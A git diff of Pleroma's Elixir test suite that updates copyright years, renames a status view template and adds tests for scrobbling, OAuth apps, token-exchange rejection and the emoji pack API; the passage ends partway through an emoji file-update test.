diff --git a/test/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/web/mastodon_api/views/scheduled_activity_view_test.exs
index ecbb855d4..6387e4555 100644
--- a/test/web/mastodon_api/views/scheduled_activity_view_test.exs
+++ b/test/web/mastodon_api/views/scheduled_activity_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do
diff --git a/test/web/mastodon_api/views/status_view_test.exs b/test/web/mastodon_api/views/status_view_test.exs
index fcdd7fbcb..683132f8d 100644
--- a/test/web/mastodon_api/views/status_view_test.exs
+++ b/test/web/mastodon_api/views/status_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
@@ -29,7 +29,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})
status =
- StatusView.render("status.json",
+ StatusView.render("show.json",
activity: activity,
with_direct_conversation_id: true,
for: user
@@ -46,7 +46,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
Repo.delete(user)
Cachex.clear(:user_cache)
- %{account: ms_user} = StatusView.render("status.json", activity: activity)
+ %{account: ms_user} = StatusView.render("show.json", activity: activity)
assert ms_user.acct == "erroruser@example.com"
end
@@ -63,7 +63,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
Cachex.clear(:user_cache)
- result = StatusView.render("status.json", activity: activity)
+ result = StatusView.render("show.json", activity: activity)
assert result[:account][:id] == to_string(user.id)
end
@@ -81,7 +81,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
User.get_cached_by_ap_id(note.data["actor"])
- status = StatusView.render("status.json", %{activity: note})
+ status = StatusView.render("show.json", %{activity: note})
assert status.content == ""
end
@@ -93,7 +93,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
convo_id = Utils.context_to_conversation_id(object_data["context"])
- status = StatusView.render("status.json", %{activity: note})
+ status = StatusView.render("show.json", %{activity: note})
created_at =
(object_data["published"] || "")
@@ -165,11 +165,11 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, user} = User.mute(user, other_user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"})
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.muted == false
- status = StatusView.render("status.json", %{activity: activity, for: user})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
assert status.muted == true
end
@@ -181,13 +181,13 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, user} = User.mute(user, other_user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"})
- status = StatusView.render("status.json", %{activity: activity, for: user})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
assert status.pleroma.thread_muted == false
{:ok, activity} = CommonAPI.add_mute(user, activity)
- status = StatusView.render("status.json", %{activity: activity, for: user})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
assert status.pleroma.thread_muted == true
end
@@ -196,11 +196,11 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
user = insert(:user)
{:ok, activity} = CommonAPI.post(user, %{"status" => "Cute girls doing cute things"})
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.bookmarked == false
- status = StatusView.render("status.json", %{activity: activity, for: user})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
assert status.bookmarked == false
@@ -208,7 +208,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
activity = Activity.get_by_id_with_object(activity.id)
- status = StatusView.render("status.json", %{activity: activity, for: user})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
assert status.bookmarked == true
end
@@ -220,7 +220,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, activity} =
CommonAPI.post(user, %{"status" => "he", "in_reply_to_status_id" => note.id})
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.in_reply_to_id == to_string(note.id)
@@ -237,7 +237,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, [activity]} = OStatus.handle_incoming(incoming)
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.mentions ==
Enum.map([user], fn u -> AccountView.render("mention.json", %{user: u}) end)
@@ -263,7 +263,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
assert length(activity.recipients) == 3
- %{mentions: [mention] = mentions} = StatusView.render("status.json", %{activity: activity})
+ %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity})
assert length(mentions) == 1
assert mention.url == recipient_ap_id
@@ -300,7 +300,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
assert length(activity.recipients) == 3
- %{mentions: [mention] = mentions} = StatusView.render("status.json", %{activity: activity})
+ %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity})
assert length(mentions) == 1
assert mention.url == recipient.ap_id
@@ -340,7 +340,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810"
[activity] = Activity.search(nil, id)
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.uri == id
assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/"
@@ -352,7 +352,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, reblog, _} = CommonAPI.repeat(activity.id, user)
- represented = StatusView.render("status.json", %{for: user, activity: reblog})
+ represented = StatusView.render("show.json", %{for: user, activity: reblog})
assert represented[:id] == to_string(reblog.id)
assert represented[:reblog][:id] == to_string(activity.id)
@@ -369,7 +369,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
%Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])
- represented = StatusView.render("status.json", %{for: user, activity: activity})
+ represented = StatusView.render("show.json", %{for: user, activity: activity})
assert represented[:id] == to_string(activity.id)
assert length(represented[:media_attachments]) == 1
@@ -570,7 +570,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
"status" => "drink more water"
})
- result = StatusView.render("status.json", %{activity: activity, for: other_user})
+ result = StatusView.render("show.json", %{activity: activity, for: other_user})
assert result[:account][:pleroma][:relationship] ==
AccountView.render("relationship.json", %{user: other_user, target: user})
@@ -587,7 +587,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, activity, _object} = CommonAPI.repeat(activity.id, other_user)
- result = StatusView.render("status.json", %{activity: activity, for: user})
+ result = StatusView.render("show.json", %{activity: activity, for: user})
assert result[:account][:pleroma][:relationship] ==
AccountView.render("relationship.json", %{user: user, target: other_user})
@@ -604,8 +604,17 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, activity} =
CommonAPI.post(user, %{"status" => "foobar", "visibility" => "list:#{list.id}"})
- status = StatusView.render("status.json", activity: activity)
+ status = StatusView.render("show.json", activity: activity)
assert status.visibility == "list"
end
+
+ test "successfully renders a Listen activity (pleroma extension)" do
+ listen_activity = insert(:listen)
+
+ status = StatusView.render("listen.json", activity: listen_activity)
+
+ assert status.length == listen_activity.data["object"]["length"]
+ assert status.title == listen_activity.data["object"]["title"]
+ end
end
diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs
index 53b8f556b..fdfdb5ec6 100644
--- a/test/web/media_proxy/media_proxy_controller_test.exs
+++ b/test/web/media_proxy/media_proxy_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do
diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs
index 79699cac5..96bdde219 100644
--- a/test/web/media_proxy/media_proxy_test.exs
+++ b/test/web/media_proxy/media_proxy_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MediaProxyTest do
diff --git a/test/web/node_info_test.exs b/test/web/node_info_test.exs
index f6147c286..e15a0bfff 100644
--- a/test/web/node_info_test.exs
+++ b/test/web/node_info_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.NodeInfoTest do
diff --git a/test/web/oauth/app_test.exs b/test/web/oauth/app_test.exs
new file mode 100644
index 000000000..195b8c17f
--- /dev/null
+++ b/test/web/oauth/app_test.exs
@@ -0,0 +1,33 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.OAuth.AppTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.Web.OAuth.App
+ import Pleroma.Factory
+
+ describe "get_or_make/2" do
+ test "gets exist app" do
+ attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
+ app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]}))
+ {:ok, %App{} = exist_app} = App.get_or_make(attrs, [])
+ assert exist_app == app
+ end
+
+ test "make app" do
+ attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
+ {:ok, %App{} = app} = App.get_or_make(attrs, ["write"])
+ assert app.scopes == ["write"]
+ end
+
+ test "gets exist app and updates scopes" do
+ attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
+ app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]}))
+ {:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"])
+ assert exist_app.id == app.id
+ assert exist_app.scopes == ["read", "write", "follow", "push"]
+ end
+ end
+end
diff --git a/test/web/oauth/authorization_test.exs b/test/web/oauth/authorization_test.exs
index d8b008437..2e82a7b79 100644
--- a/test/web/oauth/authorization_test.exs
+++ b/test/web/oauth/authorization_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.AuthorizationTest do
diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs
index b492c7794..0cf755806 100644
--- a/test/web/oauth/oauth_controller_test.exs
+++ b/test/web/oauth/oauth_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.OAuthControllerTest do
@@ -7,6 +7,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
import Pleroma.Factory
alias Pleroma.Repo
+ alias Pleroma.User
alias Pleroma.Web.OAuth.Authorization
alias Pleroma.Web.OAuth.OAuthController
alias Pleroma.Web.OAuth.Token
@@ -775,15 +776,11 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do
Pleroma.Config.put([:instance, :account_activation_required], true)
-
password = "testpassword"
- user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
- info_change = Pleroma.User.Info.confirmation_changeset(user.info, need_confirmation: true)
{:ok, user} =
- user
- |> Ecto.Changeset.change()
- |> Ecto.Changeset.put_embed(:info, info_change)
+ insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
+ |> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true))
|> Repo.update()
refute Pleroma.User.auth_active?(user)
@@ -831,6 +828,33 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
refute Map.has_key?(resp, "access_token")
end
+ test "rejects token exchange for user with password_reset_pending set to true" do
+ password = "testpassword"
+
+ user =
+ insert(:user,
+ password_hash: Comeonin.Pbkdf2.hashpwsalt(password),
+ info: %{password_reset_pending: true}
+ )
+
+ app = insert(:oauth_app, scopes: ["read", "write"])
+
+ conn =
+ build_conn()
+ |> post("/oauth/token", %{
+ "grant_type" => "password",
+ "username" => user.nickname,
+ "password" => password,
+ "client_id" => app.client_id,
+ "client_secret" => app.client_secret
+ })
+
+ assert resp = json_response(conn, 403)
+
+ assert resp["error"] == "Password reset is required"
+ refute Map.has_key?(resp, "access_token")
+ end
+
test "rejects an invalid authorization code" do
app = insert(:oauth_app)
diff --git a/test/web/oauth/token/utils_test.exs b/test/web/oauth/token/utils_test.exs
index 20e338cab..dc1f9a986 100644
--- a/test/web/oauth/token/utils_test.exs
+++ b/test/web/oauth/token/utils_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.Token.UtilsTest do
diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs
index 3c07309b7..5359940f8 100644
--- a/test/web/oauth/token_test.exs
+++ b/test/web/oauth/token_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.TokenTest do
diff --git a/test/web/ostatus/activity_representer_test.exs b/test/web/ostatus/activity_representer_test.exs
index a3a92ce5b..a8d500890 100644
--- a/test/web/ostatus/activity_representer_test.exs
+++ b/test/web/ostatus/activity_representer_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatus.ActivityRepresenterTest do
diff --git a/test/web/ostatus/feed_representer_test.exs b/test/web/ostatus/feed_representer_test.exs
index 3c7b126e7..d1cadf1e4 100644
--- a/test/web/ostatus/feed_representer_test.exs
+++ b/test/web/ostatus/feed_representer_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatus.FeedRepresenterTest do
diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs
index 095ae7041..2b40fb47e 100644
--- a/test/web/ostatus/ostatus_controller_test.exs
+++ b/test/web/ostatus/ostatus_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatus.OStatusControllerTest do
@@ -50,20 +50,16 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do
assert response(conn, 200)
end) =~ "[error]"
- # Set a wrong magic-key for a user so it has to refetch
- salmon_user = User.get_cached_by_ap_id("http://gs.example.org:4040/index.php/user/1")
-
# Wrong key
- info_cng =
- User.Info.remote_user_creation(salmon_user.info, %{
- magic_key:
- "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"
- })
-
- salmon_user
- |> Ecto.Changeset.change()
- |> Ecto.Changeset.put_embed(:info, info_cng)
- |> User.update_and_set_cache()
+ info = %{
+ magic_key:
+ "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"
+ }
+
+ # Set a wrong magic-key for a user so it has to refetch
+ "http://gs.example.org:4040/index.php/user/1"
+ |> User.get_cached_by_ap_id()
+ |> User.update_info(&User.Info.remote_user_creation(&1, info))
assert capture_log(fn ->
conn =
diff --git a/test/web/ostatus/ostatus_test.exs b/test/web/ostatus/ostatus_test.exs
index 803a97695..70a0e4473 100644
--- a/test/web/ostatus/ostatus_test.exs
+++ b/test/web/ostatus/ostatus_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatusTest do
@@ -628,4 +628,18 @@ defmodule Pleroma.Web.OStatusTest do
refute OStatus.is_representable?(note_activity)
end
end
+
+ describe "make_user/2" do
+ test "creates new user" do
+ {:ok, user} = OStatus.make_user("https://social.heldscal.la/user/23211")
+
+ created_user =
+ User
+ |> Repo.get_by(ap_id: "https://social.heldscal.la/user/23211")
+ |> Map.put(:last_digest_emailed_at, nil)
+
+ assert user.info
+ assert user == created_user
+ end
+ end
end
diff --git a/test/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/web/pleroma_api/controllers/scrobble_controller_test.exs
new file mode 100644
index 000000000..881f8012c
--- /dev/null
+++ b/test/web/pleroma_api/controllers/scrobble_controller_test.exs
@@ -0,0 +1,63 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Web.CommonAPI
+ import Pleroma.Factory
+
+ describe "POST /api/v1/pleroma/scrobble" do
+ test "works correctly", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/pleroma/scrobble", %{
+ "title" => "lain radio episode 1",
+ "artist" => "lain",
+ "album" => "lain radio",
+ "length" => "180000"
+ })
+
+ assert %{"title" => "lain radio episode 1"} = json_response(conn, 200)
+ end
+ end
+
+ describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do
+ test "works correctly", %{conn: conn} do
+ user = insert(:user)
+
+ {:ok, _activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 1",
+ "artist" => "lain",
+ "album" => "lain radio"
+ })
+
+ {:ok, _activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 2",
+ "artist" => "lain",
+ "album" => "lain radio"
+ })
+
+ {:ok, _activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 3",
+ "artist" => "lain",
+ "album" => "lain radio"
+ })
+
+ conn =
+ conn
+ |> get("/api/v1/pleroma/accounts/#{user.id}/scrobbles")
+
+ result = json_response(conn, 200)
+
+ assert length(result) == 3
+ end
+ end
+end
diff --git a/test/web/pleroma_api/emoji_api_controller_test.exs b/test/web/pleroma_api/emoji_api_controller_test.exs
new file mode 100644
index 000000000..93a507a01
--- /dev/null
+++ b/test/web/pleroma_api/emoji_api_controller_test.exs
@@ -0,0 +1,459 @@
+defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do
+ use Pleroma.Web.ConnCase
+
+ import Tesla.Mock
+
+ import Pleroma.Factory
+
+ @emoji_dir_path Path.join(
+ Pleroma.Config.get!([:instance, :static_dir]),
+ "emoji"
+ )
+
+ test "shared & non-shared pack information in list_packs is ok" do
+ conn = build_conn()
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ assert Map.has_key?(resp, "test_pack")
+
+ pack = resp["test_pack"]
+
+ assert Map.has_key?(pack["pack"], "download-sha256")
+ assert pack["pack"]["can-download"]
+
+ assert pack["files"] == %{"blank" => "blank.png"}
+
+ # Non-shared pack
+
+ assert Map.has_key?(resp, "test_pack_nonshared")
+
+ pack = resp["test_pack_nonshared"]
+
+ refute pack["pack"]["shared"]
+ refute pack["pack"]["can-download"]
+ end
+
+ test "listing remote packs" do
+ admin = insert(:user, info: %{is_admin: true})
+ conn = build_conn() |> assign(:user, admin)
+
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ mock(fn
+ %{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
+ json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
+
+ %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
+ json(%{metadata: %{features: ["shareable_emoji_packs"]}})
+
+ %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} ->
+ json(resp)
+ end)
+
+ assert conn
+ |> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"})
+ |> json_response(200) == resp
+ end
+
+ test "downloading a shared pack from download_shared" do
+ conn = build_conn()
+
+ resp =
+ conn
+ |> get(emoji_api_path(conn, :download_shared, "test_pack"))
+ |> response(200)
+
+ {:ok, arch} = :zip.unzip(resp, [:memory])
+
+ assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end)
+ assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end)
+ end
+
+ test "downloading shared & unshared packs from another instance via download_from, deleting them" do
+ on_exit(fn ->
+ File.rm_rf!("#{@emoji_dir_path}/test_pack2")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack_nonshared2")
+ end)
+
+ mock(fn
+ %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} ->
+ json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]})
+
+ %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->
+ json(%{metadata: %{features: []}})
+
+ %{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
+ json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
+
+ %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
+ json(%{metadata: %{features: ["shareable_emoji_packs"]}})
+
+ %{
+ method: :get,
+ url: "https://example.com/api/pleroma/emoji/packs/list"
+ } ->
+ conn = build_conn()
+
+ conn
+ |> get(emoji_api_path(conn, :list_packs))
+ |> json_response(200)
+ |> json()
+
+ %{
+ method: :get,
+ url: "https://example.com/api/pleroma/emoji/packs/download_shared/test_pack"
+ } ->
+ conn = build_conn()
+
+ conn
+ |> get(emoji_api_path(conn, :download_shared, "test_pack"))
+ |> response(200)
+ |> text()
+
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip"))
+ end)
+
+ admin = insert(:user, info: %{is_admin: true})
+
+ conn = build_conn() |> assign(:user, admin)
+
+ assert (conn
+ |> put_req_header("content-type", "application/json")
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://old-instance",
+ pack_name: "test_pack",
+ as: "test_pack2"
+ }
+ |> Jason.encode!()
+ )
+ |> json_response(500))["error"] =~ "does not support"
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://example.com",
+ pack_name: "test_pack",
+ as: "test_pack2"
+ }
+ |> Jason.encode!()
+ )
+ |> json_response(200) == "ok"
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack2/pack.json")
+ assert File.exists?("#{@emoji_dir_path}/test_pack2/blank.png")
+
+ assert conn
+ |> delete(emoji_api_path(conn, :delete, "test_pack2"))
+ |> json_response(200) == "ok"
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack2")
+
+ # non-shared, downloaded from the fallback URL
+
+ conn = build_conn() |> assign(:user, admin)
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://example.com",
+ pack_name: "test_pack_nonshared",
+ as: "test_pack_nonshared2"
+ }
+ |> Jason.encode!()
+ )
+ |> json_response(200) == "ok"
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/pack.json")
+ assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/blank.png")
+
+ assert conn
+ |> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2"))
+ |> json_response(200) == "ok"
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack_nonshared2")
+ end
+
+ describe "updating pack metadata" do
+ setup do
+ pack_file = "#{@emoji_dir_path}/test_pack/pack.json"
+ original_content = File.read!(pack_file)
+
+ on_exit(fn ->
+ File.write!(pack_file, original_content)
+ end)
+
+ {:ok,
+ admin: insert(:user, info: %{is_admin: true}),
+ pack_file: pack_file,
+ new_data: %{
+ "license" => "Test license changed",
+ "homepage" => "https://pleroma.social",
+ "description" => "Test description",
+ "share-files" => false
+ }}
+ end
+
+ test "for a pack without a fallback source", ctx do
+ conn = build_conn()
+
+ assert conn
+ |> assign(:user, ctx[:admin])
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => ctx[:new_data]
+ }
+ )
+ |> json_response(200) == ctx[:new_data]
+
+ assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data]
+ end
+
+ test "for a pack with a fallback source", ctx do
+ mock(fn
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip"))
+ end)
+
+ new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack")
+
+ new_data_with_sha =
+ Map.put(
+ new_data,
+ "fallback-src-sha256",
+ "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF"
+ )
+
+ conn = build_conn()
+
+ assert conn
+ |> assign(:user, ctx[:admin])
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => new_data
+ }
+ )
+ |> json_response(200) == new_data_with_sha
+
+ assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha
+ end
+
+ test "when the fallback source doesn't have all the files", ctx do
+ mock(fn
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory])
+ text(empty_arch)
+ end)
+
+ new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack")
+
+ conn = build_conn()
+
+ assert (conn
+ |> assign(:user, ctx[:admin])
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => new_data
+ }
+ )
+ |> json_response(:bad_request))["error"] =~ "does not have all"
+ end
+ end
+
+ test "updating pack files" do
+ pack_file = "#{@emoji_dir_path}/test_pack/pack.json"
+ original_content = File.read!(pack_file)
+
+ on_exit(fn ->
+ File.write!(pack_file, original_content)
+
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/blank_url.png")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/dir")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/dir_2")
+ end)
+
+ admin = insert(:user, info: %{is_admin: true})
+
+ conn = build_conn()
+
+ same_name = %{
+ "action" => "add",
+ "shortcode" => "blank",
+ "filename" => "dir/blank.png",
+ "file" => %Plug.Upload{
+ filename: "blank.png",
+ path: "#{@emoji_dir_path}/test_pack/blank.png"
+ }
+ }
+
+ different_name = %{same_name | "shortcode" => "blank_2"}
+
+ conn = conn |> assign(:user, admin)
+
+ assert (conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), same_name)
+ |> json_response(:conflict))["error"] =~ "already exists"
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), different_name)
+ |> json_response(200) == %{"blank" => "blank.png", "blank_2" => "dir/blank.png"}
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack/dir/blank.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "update",
+ "shortcode" => "blank_2",
+ "new_shortcode" => "blank_3",
+ "new_filename" => "dir_2/blank_3.png"
+ })
+ |> json_response(200) == %{"blank" => "blank.png", "blank_3" => "dir_2/blank_3.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/dir/")
